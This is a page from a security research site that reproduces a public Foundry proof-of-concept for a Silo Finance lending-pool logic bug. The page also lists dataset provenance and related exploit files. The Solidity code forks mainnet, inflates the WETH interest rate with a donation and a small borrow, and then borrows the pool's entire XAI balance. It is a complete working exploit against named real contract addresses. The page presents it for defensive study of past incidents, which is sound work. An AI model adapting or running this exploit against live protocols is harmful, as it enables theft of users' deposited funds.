Public reproduction file
src/test/2023-04/silo_finance_exp.sol
Public reproduction file for dataset entry Silo finance.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1pragma solidity ^0.8.0;3import "forge-std/Test.sol";4import "forge-std/console.sol";6import "./../interface.sol";8// It's a postmortem, now it's disclosed, just for studying.9// analysis and code: https://medium.com/immunefi/silo-finance-logic-error-bugfix-review-35de29bd934a11interface ISilo {12 function deposit(13 address _asset,14 uint256 _amount,15 bool _collateralOnly16 ) external returns (uint256 collateralAmount, uint256 collateralShare);18 function borrow(address _asset, uint256 _amount) external returns (uint256 debtAmount, uint256 debtShare);20 function assetStorage(21 address _asset22 ) external view returns (IBaseSilo.AssetStorage memory);24 function accrueInterest(25 address _asset26 ) external returns (uint256 interest);27}29interface IBaseSilo {30 /// @dev Storage struct that holds all required data for a single token market31 struct AssetStorage {32 /// @dev Token that represents a share in totalDeposits of Silo33 IShareToken collateralToken;34 /// @dev Token that represents a share in collateralOnlyDeposits of Silo35 IShareToken collateralOnlyToken;36 /// @dev Token that represents a share in totalBorrowAmount of Silo37 IShareToken debtToken;38 /// @dev COLLATERAL: Amount of asset token that has been deposited to Silo with interest earned by depositors.39 /// It also includes token amount that has been borrowed.40 uint256 totalDeposits;41 /// @dev COLLATERAL ONLY: Amount of asset token that has been deposited to Silo that can be ONLY used42 /// as collateral. These deposits do NOT earn interest and CANNOT be borrowed.43 uint256 collateralOnlyDeposits;44 /// @dev DEBT: Amount of asset token that has been borrowed with accrued interest.45 uint256 totalBorrowAmount;46 }47}49interface IShareToken {}51contract OtherAccount {52 ISilo immutable SILO;53 IERC20 public constant WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);54 IERC20 public constant LINK = IERC20(0x514910771AF9Ca656af840dff83E8264EcF986CA);56 address owner;58 constructor(59 ISilo _silo60 ) {61 owner = msg.sender;62 SILO = _silo;63 }65 modifier onlyOwner() {66 require(msg.sender == owner);67 _;68 }70 function depositLinkAndBorrowWETH() external onlyOwner {71 // This will inflate the ETH interest rate.72 uint256 depositAmount = LINK.balanceOf(address(this));73 LINK.approve(address(SILO), depositAmount);74 SILO.deposit(address(LINK), depositAmount, true);75 SILO.borrow(address(WETH), 1 ether);76 WETH.transfer(owner, 1 ether); // Return the borrowed amount to the exploit contract77 }78}80contract SiloBugFixReview {81 ISilo public constant SILO = ISilo(0xcB3B879aB11F825885d5aDD8Bf3672596d35197C);82 IERC20 public constant XAI = IERC20(0xd7C9F0e536dC865Ae858b0C0453Fe76D13c3bEAc);83 IERC20 public constant WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);84 IERC20 public constant LINK = IERC20(0x514910771AF9Ca656af840dff83E8264EcF986CA);86 OtherAccount public immutable otherAccount;88 constructor() {89 otherAccount = new OtherAccount(SILO);90 }92 modifier checkZeroAssetStorage() {93 require(SILO.assetStorage(address(WETH)).totalDeposits == 0);94 _;95 }97 function run() external checkZeroAssetStorage {98 uint256 accrueInterest = SILO.accrueInterest(address(WETH));100 console.log("Balance of XAI before exploit= ", XAI.balanceOf(address(this)));101 console.log("WETH interest rate before exploit = ", accrueInterest);103 uint256 depositAmount = 1e5;104 uint256 donatedAmount = 1e18;106 WETH.approve(address(SILO), depositAmount);107 SILO.deposit(address(WETH), depositAmount, false);109 WETH.transfer(address(SILO), donatedAmount);111 otherAccount.depositLinkAndBorrowWETH();112 }114 function run2() external {115 uint256 accrueInterest = SILO.accrueInterest(address(WETH));116 SILO.borrow(address(XAI), XAI.balanceOf(address(SILO)));118 console.log("Balance of XAI after exploit= ", XAI.balanceOf(address(this)));119 console.log("WETH interest rate after exploit = ", accrueInterest);120 }121}123// forge test --match-path test/pocs/posterms/silo-finance/BugFixReview.t.sol -vvv124contract SiloBugFixReviewTest is Test {125 uint256 mainnetFork;127 SiloBugFixReview public siloBugFixReview;129 uint256 constant depositAmount = 1e5;130 uint256 constant donatedAmount = 1e18;132 uint256 otherAccountDepositAmount = 545 * 1e18;133 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);135 function setUp() public {136 cheats.createSelectFork("mainnet", 17_139_470);138 siloBugFixReview = new SiloBugFixReview();139 deal(address(siloBugFixReview.WETH()), address(siloBugFixReview), depositAmount + donatedAmount);140 deal(address(siloBugFixReview.LINK()), address(siloBugFixReview.otherAccount()), otherAccountDepositAmount);141 }143 function testAttack() public {144 address LINK = 0x514910771AF9Ca656af840dff83E8264EcF986CA;146 address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;148 console.log("time stamp before = ", block.timestamp);149 console.log("block number before = ", block.number);150 siloBugFixReview.run();151 cheats.makePersistent(address(siloBugFixReview));152 cheats.makePersistent(address(siloBugFixReview.SILO()));154 cheats.makePersistent(WETH);155 cheats.makePersistent(address(siloBugFixReview.SILO().assetStorage(WETH).collateralToken));156 cheats.makePersistent(address(siloBugFixReview.SILO().assetStorage(WETH).collateralOnlyToken));157 cheats.makePersistent(address(siloBugFixReview.SILO().assetStorage(WETH).debtToken));159 cheats.makePersistent(LINK);160 cheats.makePersistent(address(siloBugFixReview.SILO().assetStorage(LINK).collateralToken));161 cheats.makePersistent(address(siloBugFixReview.SILO().assetStorage(LINK).collateralOnlyToken));162 cheats.makePersistent(address(siloBugFixReview.SILO().assetStorage(LINK).debtToken));164 cheats.rollFork(block.number + 1);166 console.log("time stamp after = ", block.timestamp);167 console.log("block number after = ", block.number);168 siloBugFixReview.run2();169 }170}Analysis
Dataset entry
Public Foundry test for “Silo finance” (2023-04-27). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
12 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2023-04/0vix_exp.solSame month in the dataset · 472 lines
- src/test/2023-04/Allbridge_exp.solSame month in the dataset · 128 lines
- src/test/2023-04/Axioma_exp.solSame month in the dataset · 65 lines
- src/test/2023-04/HundredFinance_2_exp.solSame month in the dataset · 327 lines
- src/test/2023-04/MetaPoint_exp.solSame month in the dataset · 73 lines
- src/test/2023-04/OLIFE_exp.solSame month in the dataset · 101 lines
- src/test/2023-04/Paribus_exp.solSame month in the dataset · 131 lines
- src/test/2023-04/Sentiment_exp.solSame month in the dataset · 239 lines
- src/test/2023-04/Sushi_Router_exp.solSame month in the dataset · 94 lines
- src/test/2023-04/Swapos_exp.solSame month in the dataset · 46 lines
- src/test/2023-04/YearnFinance_exp.solSame month in the dataset · 526 lines
- src/test/2025-06/SiloFinance_exp.solSame protocol or name in the dataset · 201 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
File record
- Name
- Silo finance
- Path
- src/test/2023-04/silo_finance_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 8aba8c21c5a5dc4575c78fcb371b5ebaa5b9096b
- Language
- Solidity
- Size
- 171 lines
- Date
- 2023-04-27
- Licence
- ThreatWire editorial text
- Retrieved
- 2026-10-19
Provenance
Path src/test/2023-04/silo_finance_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 8aba8c21c5a5dc4575c78fcb371b5ebaa5b9096b, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.